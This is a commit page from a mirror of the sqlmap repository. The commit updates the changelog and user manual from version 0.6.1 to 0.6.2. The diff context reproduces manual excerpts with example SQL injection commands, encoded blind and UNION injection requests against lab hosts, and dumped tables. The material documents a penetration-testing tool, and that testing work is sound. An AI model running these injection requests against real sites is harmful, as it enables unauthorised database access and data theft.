sqlmapproject/sqlmap
1
1
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2025-06-12 17:13:04 +03:00
Code Issues Packages Projects Releases Wiki Activity

Updated site and doc to 0.6.2

Browse Source
This commit is contained in:
Bernardo Damele 2008-11-02 20:23:06 +00:00
parent 56a5e8d390
commit de980ae79f
4 changed files with 75 additions and 75 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

6
doc/ChangeLog
View File

@ -10,7 +10,7 @@ sqlmap (0.6.2-1) stable; urgency=low
variable) is an integer and for some reason the resumed value from variable) is an integer and for some reason the resumed value from
session file is a string or a binary file, the query is executed again session file is a string or a binary file, the query is executed again
and and its new output saved to the session file; and and its new output saved to the session file;
* Major improvement to correctly enumerate tables, columns and dump * Minor improvement to correctly enumerate tables, columns and dump
tables entries on Oracle and on PostgreSQL when the database name is tables entries on Oracle and on PostgreSQL when the database name is
not 'public' schema or a system database; not 'public' schema or a system database;
* Minor improvement to be able to dump entries on MySQL < 5.0 when * Minor improvement to be able to dump entries on MySQL < 5.0 when
@ -19,7 +19,7 @@ sqlmap (0.6.2-1) stable; urgency=low
identify MySQL 5.1.x, MySQL 6.0.x and PostgreSQL 8.3; identify MySQL 5.1.x, MySQL 6.0.x and PostgreSQL 8.3;
* More user-friendly warnin messages. * More user-friendly warnin messages.
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sat, 1 Nov 2008 10:00:00 +0100 -- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sun, 2 Nov 2008 19:00:00 +0000
sqlmap (0.6.1-1) stable; urgency=low sqlmap (0.6.1-1) stable; urgency=low
@ -41,7 +41,7 @@ sqlmap (0.6.1-1) stable; urgency=low
not forcing the entries' order alphabetically anymore; not forcing the entries' order alphabetically anymore;
* Minor bug fix to correctly handle parameters' value with % character. * Minor bug fix to correctly handle parameters' value with % character.
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Fri, 20 Oct 2008 10:00:00 +0100 -- Bernardo Damele A. G. <bernardo.damele@gmail.com> Fri, 20 Oct 2008 10:00:00 +0000
sqlmap (0.6-1) stable; urgency=low sqlmap (0.6-1) stable; urgency=low

78
doc/README.html
View File

@ -8,7 +8,7 @@
<H1>sqlmap user's manual</H1> <H1>sqlmap user's manual</H1>
<H2>by <H2>by
<A HREF="mailto:bernardo.damele@gmail.com">Bernardo Damele A. G.</A></H2>version 0.6.1, 20th of October 2008 <A HREF="mailto:bernardo.damele@gmail.com">Bernardo Damele A. G.</A></H2>version 0.6.2, 2nd of November 2008
<HR> <HR>
<EM>This document is the user's manual to use <EM>This document is the user's manual to use
<A HREF="http://sqlmap.sourceforge.net">sqlmap</A>. <A HREF="http://sqlmap.sourceforge.net">sqlmap</A>.
@ -295,19 +295,19 @@ It is available in various formats:</P>
<P> <P>
<UL> <UL>
<LI> <LI>
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1.tar.gz">Source gzip compressed</A> operating system independent.</LI> <A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.2.tar.gz">Source gzip compressed</A> operating system independent.</LI>
<LI> <LI>
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1.tar.bz2">Source bzip2 compressed</A> operating system independent.</LI> <A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.2.tar.bz2">Source bzip2 compressed</A> operating system independent.</LI>
<LI> <LI>
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1.zip">Source zip compressed</A> operating system independent.</LI> <A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.2.zip">Source zip compressed</A> operating system independent.</LI>
<LI> <LI>
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap_0.6.1-1_all.deb">DEB binary package</A> architecture independent for Debian and any <A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap_0.6.2-1_all.deb">DEB binary package</A> architecture independent for Debian and any
other Debian derivated GNU/Linux distribution.</LI> other Debian derivated GNU/Linux distribution.</LI>
<LI> <LI>
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1-1.noarch.rpm">RPM binary package</A> architecture independent for Fedora and any <A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.2-1.noarch.rpm">RPM binary package</A> architecture independent for Fedora and any
other operating system that can install RPM packages.</LI> other operating system that can install RPM packages.</LI>
<LI> <LI>
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1_exe.zip">Portable executable for Windows</A> that <B>does not require the Python <A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.2_exe.zip">Portable executable for Windows</A> that <B>does not require the Python
interpreter</B> to be installed on the operating system.</LI> interpreter</B> to be installed on the operating system.</LI>
</UL> </UL>
</P> </P>
@ -334,7 +334,7 @@ and
<PRE> <PRE>
$ python sqlmap.py -h $ python sqlmap.py -h
sqlmap/0.6.1 coded by Bernardo Damele A. G. &lt;bernardo.damele@gmail.com> sqlmap/0.6.2 coded by Bernardo Damele A. G. &lt;bernardo.damele@gmail.com>
and Daniele Bellucci &lt;daniele.bellucci@gmail.com> and Daniele Bellucci &lt;daniele.bellucci@gmail.com>
Usage: sqlmap.py [options] {-u &lt;URL> | -g &lt;google dork> | -c &lt;config file>} Usage: sqlmap.py [options] {-u &lt;URL> | -g &lt;google dork> | -c &lt;config file>}
@ -535,7 +535,7 @@ $ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&amp;cat
[hh:mm:28] [TRAFFIC OUT] HTTP request: [hh:mm:28] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1&amp;cat=2 HTTP/1.1 GET /sqlmap/mysql/get_int.php?id=1&amp;cat=2 HTTP/1.1
Host: 192.168.1.121:80 Host: 192.168.1.121:80
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
Connection: close Connection: close
[...] [...]
[hh:mm:29] [INFO] testing MySQL [hh:mm:29] [INFO] testing MySQL
@ -544,7 +544,7 @@ Connection: close
GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20 GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%207994=7994&amp;cat=2 HTTP/1.1 CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%207994=7994&amp;cat=2 HTTP/1.1
Host: 192.168.1.121:80 Host: 192.168.1.121:80
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
Connection: close Connection: close
[...] [...]
</PRE> </PRE>
@ -562,7 +562,7 @@ $ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&amp;cat
[hh:mm:32] [TRAFFIC OUT] HTTP request: [hh:mm:32] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1&amp;cat=2 HTTP/1.1 GET /sqlmap/mysql/get_int.php?id=1&amp;cat=2 HTTP/1.1
Host: 192.168.1.121:80 Host: 192.168.1.121:80
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
Connection: close Connection: close
[hh:mm:32] [TRAFFIC IN] HTTP response (OK - 200): [hh:mm:32] [TRAFFIC IN] HTTP response (OK - 200):
@ -580,7 +580,7 @@ Content-Type: text/html
GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20 GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%204435=4435&amp;cat=2 HTTP/1.1 CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%204435=4435&amp;cat=2 HTTP/1.1
Host: 192.168.1.121:80 Host: 192.168.1.121:80
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
Connection: close Connection: close
[hh:mm:33] [TRAFFIC IN] HTTP response (OK - 200): [hh:mm:33] [TRAFFIC IN] HTTP response (OK - 200):
@ -607,7 +607,7 @@ $ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&amp;cat
[hh:mm:23] [TRAFFIC OUT] HTTP request: [hh:mm:23] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1&amp;cat=2 HTTP/1.1 GET /sqlmap/mysql/get_int.php?id=1&amp;cat=2 HTTP/1.1
Host: 192.168.1.121:80 Host: 192.168.1.121:80
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
Connection: close Connection: close
[hh:mm:23] [TRAFFIC IN] HTTP response (OK - 200): [hh:mm:23] [TRAFFIC IN] HTTP response (OK - 200):
@ -632,7 +632,7 @@ Content-Type: text/html
GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2851%29%2C%20 GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2851%29%2C%20
CHAR%2851%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%201855=1855&amp;cat=2 HTTP/1.1 CHAR%2851%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%201855=1855&amp;cat=2 HTTP/1.1
Host: 192.168.1.121:80 Host: 192.168.1.121:80
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
Connection: close Connection: close
[hh:mm:24] [TRAFFIC IN] HTTP response (OK - 200): [hh:mm:24] [TRAFFIC IN] HTTP response (OK - 200):
@ -749,7 +749,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&amp;ca
<BLOCKQUOTE><CODE> <BLOCKQUOTE><CODE>
<PRE> <PRE>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&amp;cat=2" -v 1 \ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&amp;cat=2" -v 1 \
-p user-agent --user-agent "sqlmap/0.6.1 (http://sqlmap.sourceforge.net)" -p user-agent --user-agent "sqlmap/0.6.2 (http://sqlmap.sourceforge.net)"
[hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET [hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
[hh:mm:40] [INFO] testing connection to the target url [hh:mm:40] [INFO] testing connection to the target url
@ -895,7 +895,7 @@ $ python sqlmap.py -u "http://192.168.1.125/sqlmap/get_str.asp?name=luther" -v 3
[hh:mm:39] [TRAFFIC OUT] HTTP request: [hh:mm:39] [TRAFFIC OUT] HTTP request:
GET /sqlmap/get_str.asp?name=luther HTTP/1.1 GET /sqlmap/get_str.asp?name=luther HTTP/1.1
Host: 192.168.1.125:80 Host: 192.168.1.125:80
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ
Connection: close Connection: close
@ -907,7 +907,7 @@ Connection: close
GET /sqlmap/get_str.asp?name=luther HTTP/1.1 GET /sqlmap/get_str.asp?name=luther HTTP/1.1
Host: 192.168.1.125:80 Host: 192.168.1.125:80
Cookie: ASPSESSIONIDSABTRCAS=469 Cookie: ASPSESSIONIDSABTRCAS=469
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
Connection: close Connection: close
[hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic [hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic
@ -955,7 +955,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&amp;ca
GET /sqlmap/pgsql/get_int.php?id=1&amp;cat=2 HTTP/1.1 GET /sqlmap/pgsql/get_int.php?id=1&amp;cat=2 HTTP/1.1
Host: 192.168.1.121:80 Host: 192.168.1.121:80
Referer: http://www.google.com Referer: http://www.google.com
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
Connection: close Connection: close
[...] [...]
</PRE> </PRE>
@ -972,7 +972,7 @@ Connection: close
<P> <P>
<BLOCKQUOTE><CODE> <BLOCKQUOTE><CODE>
<PRE> <PRE>
sqlmap/0.6.1 (http://sqlmap.sourceforge.net) sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
</PRE> </PRE>
</CODE></BLOCKQUOTE> </CODE></BLOCKQUOTE>
</P> </P>
@ -1058,7 +1058,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1&
GET /sqlmap/mysql/basic/get_int.php?id=1&amp;cat=2 HTTP/1.1 GET /sqlmap/mysql/basic/get_int.php?id=1&amp;cat=2 HTTP/1.1
Host: 192.168.1.121:80 Host: 192.168.1.121:80
Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M= Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M=
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
Connection: close Connection: close
[...] [...]
@ -1075,7 +1075,7 @@ nonce="qcL9udlSBAA=f3b77da349fcfbf1a59ba37b21e291341159598f",
uri="/sqlmap/mysql/digest/get_int.php?id=1&amp;cat=2", uri="/sqlmap/mysql/digest/get_int.php?id=1&amp;cat=2",
response="e1bf3738b4bbe04e197a12fb134e13a2", algorithm="MD5", qop=auth, nc=00000001, response="e1bf3738b4bbe04e197a12fb134e13a2", algorithm="MD5", qop=auth, nc=00000001,
cnonce="df1c0902c931b640" cnonce="df1c0902c931b640"
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
Connection: close Connection: close
[...] [...]
</PRE> </PRE>
@ -1200,7 +1200,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=
[hh:mm:50] [TRAFFIC OUT] HTTP request: [hh:mm:50] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int_refresh.php?id=1&amp;cat=2 HTTP/1.1 GET /sqlmap/mysql/get_int_refresh.php?id=1&amp;cat=2 HTTP/1.1
Host: 192.168.1.121:80 Host: 192.168.1.121:80
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
Connection: close Connection: close
[hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200): [hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200):
@ -1222,7 +1222,7 @@ Content-Type: text/html
[hh:mm:51] [TRAFFIC OUT] HTTP request: [hh:mm:51] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int_refresh.php?id=1&amp;cat=2 HTTP/1.1 GET /sqlmap/mysql/get_int_refresh.php?id=1&amp;cat=2 HTTP/1.1
Host: 192.168.1.121:80 Host: 192.168.1.121:80
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
Connection: close Connection: close
[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200): [hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
@ -1244,7 +1244,7 @@ Content-Type: text/html
[hh:mm:51] [TRAFFIC OUT] HTTP request: [hh:mm:51] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int_refresh.php?id=1&amp;cat=2 HTTP/1.1 GET /sqlmap/mysql/get_int_refresh.php?id=1&amp;cat=2 HTTP/1.1
Host: 192.168.1.121:80 Host: 192.168.1.121:80
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
Connection: close Connection: close
[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200): [hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
@ -1556,9 +1556,9 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&amp;ca
[hh:mm:03] [INFO] performed 13 queries in 0 seconds [hh:mm:03] [INFO] performed 13 queries in 0 seconds
[hh:mm:03] [INFO] query: @@VERSION [hh:mm:03] [INFO] query: @@VERSION
[hh:mm:03] [INFO] retrieved: Microsoft SQL Server 2000 - 8.00.194 (Intel X86) [hh:mm:03] [INFO] retrieved: Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
Aug 6 2000 00:57:48 Aug 6 2000 00:57:48
Copyright (c) 1988-2000 Microsoft Corporation Copyright (c) 1988-2000 Microsoft Corporation
Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
[hh:mm:08] [INFO] performed 1308 queries in 4 seconds [hh:mm:08] [INFO] performed 1308 queries in 4 seconds
back-end DBMS: active fingerprint: Microsoft SQL Server 2000 back-end DBMS: active fingerprint: Microsoft SQL Server 2000
@ -2072,7 +2072,7 @@ Table: users
| 1 | luther | blissett | | 1 | luther | blissett |
| 2 | fluffy | bunny | | 2 | fluffy | bunny |
| 3 | wu | ming | | 3 | wu | ming |
| 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header | | 4 | sqlmap/0.6.2 (http://sqlmap.sourceforge.net) | user agent header |
| 5 | NULL | nameisnull | | 5 | NULL | nameisnull |
+----+----------------------------------------------+-------------------+ +----+----------------------------------------------+-------------------+
</PRE> </PRE>
@ -2126,7 +2126,7 @@ Table: users
| 1 | luther | blissett | | 1 | luther | blissett |
| 2 | fluffy | bunny | | 2 | fluffy | bunny |
| 3 | wu | ming | | 3 | wu | ming |
| 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header | | 4 | sqlmap/0.6.2 (http://sqlmap.sourceforge.net) | user agent header |
| 5 | | nameisnull | | 5 | | nameisnull |
+----+----------------------------------------------+-------------------+ +----+----------------------------------------------+-------------------+
@ -2140,7 +2140,7 @@ $ cat /software/sqlmap/output/192.168.1.121/dump/public/users.csv
"1","luther","blissett" "1","luther","blissett"
"2","fluffy","bunny" "2","fluffy","bunny"
"3","wu","ming" "3","wu","ming"
"4","sqlmap/0.6.1 (http://sqlmap.sourceforge.net)","user agent header" "4","sqlmap/0.6.2 (http://sqlmap.sourceforge.net)","user agent header"
"5","","nameisnull" "5","","nameisnull"
</PRE> </PRE>
</CODE></BLOCKQUOTE> </CODE></BLOCKQUOTE>
@ -2170,7 +2170,7 @@ Table: users
+----+----------------------------------------------+-------------------+ +----+----------------------------------------------+-------------------+
| 2 | fluffy | bunny | | 2 | fluffy | bunny |
| 3 | wu | ming | | 3 | wu | ming |
| 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header | | 4 | sqlmap/0.6.2 (http://sqlmap.sourceforge.net) | user agent header |
+----+----------------------------------------------+-------------------+ +----+----------------------------------------------+-------------------+
</PRE> </PRE>
</CODE></BLOCKQUOTE> </CODE></BLOCKQUOTE>
@ -2201,7 +2201,7 @@ Table: users
| 1 | luther | blissett | | 1 | luther | blissett |
| 2 | fluffy | bunny | | 2 | fluffy | bunny |
| 3 | wu | ming | | 3 | wu | ming |
| 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header | | 4 | sqlmap/0.6.2 (http://sqlmap.sourceforge.net) | user agent header |
| 5 | NULL | nameisnull | | 5 | NULL | nameisnull |
+----+----------------------------------------------+-------------------+ +----+----------------------------------------------+-------------------+
@ -2291,7 +2291,7 @@ Table: users
+----+----------------------------------------------+-------------------+ +----+----------------------------------------------+-------------------+
| id | name | surname | | id | name | surname |
+----+----------------------------------------------+-------------------+ +----+----------------------------------------------+-------------------+
| 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header | | 4 | sqlmap/0.6.2 (http://sqlmap.sourceforge.net) | user agent header |
| 2 | fluffy | bunny | | 2 | fluffy | bunny |
| 1 | luther | blisset | | 1 | luther | blisset |
| 3 | wu | ming | | 3 | wu | ming |
@ -2824,9 +2824,9 @@ CHAR(100)+CHAR(106)+CHAR(72)+CHAR(75)), NULL-- AND 5204=5204
banner: banner:
--- ---
Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
Aug 6 2000 00:57:48 Aug 6 2000 00:57:48
Copyright (c) 1988-2000 Microsoft Corporation Copyright (c) 1988-2000 Microsoft Corporation
Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
--- ---
</PRE> </PRE>
</CODE></BLOCKQUOTE> </CODE></BLOCKQUOTE>
@ -2854,7 +2854,7 @@ GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28C
%2C%20CHAR%2832%29%29%2CCHAR%28122%2C110%2C105%2C89%2C121%2C65%29%29%2C%20NULL--%20AND%2 %2C%20CHAR%2832%29%29%2CCHAR%28122%2C110%2C105%2C89%2C121%2C65%29%29%2C%20NULL--%20AND%2
06043=6043&amp;cat=2 HTTP/1.1 06043=6043&amp;cat=2 HTTP/1.1
Host: 192.168.1.121:80 Host: 192.168.1.121:80
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
Connection: close Connection: close
[hh:mm:25] [TRAFFIC IN] HTTP response (OK - 200): [hh:mm:25] [TRAFFIC IN] HTTP response (OK - 200):
@ -2996,7 +2996,7 @@ $ python sqlmap.py --update -v 4
[hh:mm:55] [TRAFFIC OUT] HTTP request: [hh:mm:55] [TRAFFIC OUT] HTTP request:
GET /doc/VERSION HTTP/1.1 GET /doc/VERSION HTTP/1.1
Host: sqlmap.sourceforge.net Host: sqlmap.sourceforge.net
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
Connection: close Connection: close
[hh:mm:55] [TRAFFIC IN] HTTP response (OK - 200): [hh:mm:55] [TRAFFIC IN] HTTP response (OK - 200):
@ -3015,7 +3015,7 @@ X-Pad: avoid browser bug
[hh:mm:56] [TRAFFIC OUT] HTTP request: [hh:mm:56] [TRAFFIC OUT] HTTP request:
GET /FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx HTTP/1.1 GET /FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx HTTP/1.1
Host: www.sqlsecurity.com Host: www.sqlsecurity.com
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0; Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0;
language=en-US language=en-US
Connection: close Connection: close

BIN
doc/README.pdf
View File

Binary file not shown.

66
doc/README.sgml
View File

@ -4,7 +4,7 @@
<title>sqlmap user's manual <title>sqlmap user's manual
<author>by <htmlurl url="mailto:bernardo.damele@gmail.com" name="Bernardo Damele A. G."> <author>by <htmlurl url="mailto:bernardo.damele@gmail.com" name="Bernardo Damele A. G.">
<date>version 0.6.1, 20th of October 2008 <date>version 0.6.2, 2nd of November 2008
<abstract> <abstract>
This document is the user's manual to use <htmlurl url="http://sqlmap.sourceforge.net" name="sqlmap">. This document is the user's manual to use <htmlurl url="http://sqlmap.sourceforge.net" name="sqlmap">.
Check the project <htmlurl url="http://sqlmap.sourceforge.net" name="homepage"> Check the project <htmlurl url="http://sqlmap.sourceforge.net" name="homepage">
@ -257,19 +257,19 @@ name="SourceForge File List page">.
It is available in various formats: It is available in various formats:
<itemize> <itemize>
<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1.tar.gz" <item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.2.tar.gz"
name="Source gzip compressed"> operating system independent. name="Source gzip compressed"> operating system independent.
<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1.tar.bz2" <item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.2.tar.bz2"
name="Source bzip2 compressed"> operating system independent. name="Source bzip2 compressed"> operating system independent.
<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1.zip" <item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.2.zip"
name="Source zip compressed"> operating system independent. name="Source zip compressed"> operating system independent.
<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap_0.6.1-1_all.deb" <item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap_0.6.2-1_all.deb"
name="DEB binary package"> architecture independent for Debian and any name="DEB binary package"> architecture independent for Debian and any
other Debian derivated GNU/Linux distribution. other Debian derivated GNU/Linux distribution.
<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1-1.noarch.rpm" <item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.2-1.noarch.rpm"
name="RPM binary package"> architecture independent for Fedora and any name="RPM binary package"> architecture independent for Fedora and any
other operating system that can install RPM packages. other operating system that can install RPM packages.
<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1_exe.zip" <item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.2_exe.zip"
name="Portable executable for Windows"> that <bf>does not require the Python name="Portable executable for Windows"> that <bf>does not require the Python
interpreter</bf> to be installed on the operating system. interpreter</bf> to be installed on the operating system.
</itemize> </itemize>
@ -297,7 +297,7 @@ and <htmlurl url="mailto:daniele.bellucci@gmail.com" name="Daniele Bellucci">.
<tscreen><verb> <tscreen><verb>
$ python sqlmap.py -h $ python sqlmap.py -h
sqlmap/0.6.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com> sqlmap/0.6.2 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
Usage: sqlmap.py [options] {-u <URL> | -g <google dork> | -c <config file>} Usage: sqlmap.py [options] {-u <URL> | -g <google dork> | -c <config file>}
@ -493,7 +493,7 @@ $ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&amp;cat
[hh:mm:28] [TRAFFIC OUT] HTTP request: [hh:mm:28] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1&amp;cat=2 HTTP/1.1 GET /sqlmap/mysql/get_int.php?id=1&amp;cat=2 HTTP/1.1
Host: 192.168.1.121:80 Host: 192.168.1.121:80
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
Connection: close Connection: close
[...] [...]
[hh:mm:29] [INFO] testing MySQL [hh:mm:29] [INFO] testing MySQL
@ -502,7 +502,7 @@ Connection: close
GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20 GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%207994=7994&amp;cat=2 HTTP/1.1 CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%207994=7994&amp;cat=2 HTTP/1.1
Host: 192.168.1.121:80 Host: 192.168.1.121:80
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
Connection: close Connection: close
[...] [...]
</verb></tscreen> </verb></tscreen>
@ -518,7 +518,7 @@ $ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&amp;cat
[hh:mm:32] [TRAFFIC OUT] HTTP request: [hh:mm:32] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1&amp;cat=2 HTTP/1.1 GET /sqlmap/mysql/get_int.php?id=1&amp;cat=2 HTTP/1.1
Host: 192.168.1.121:80 Host: 192.168.1.121:80
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
Connection: close Connection: close
[hh:mm:32] [TRAFFIC IN] HTTP response (OK - 200): [hh:mm:32] [TRAFFIC IN] HTTP response (OK - 200):
@ -536,7 +536,7 @@ Content-Type: text/html
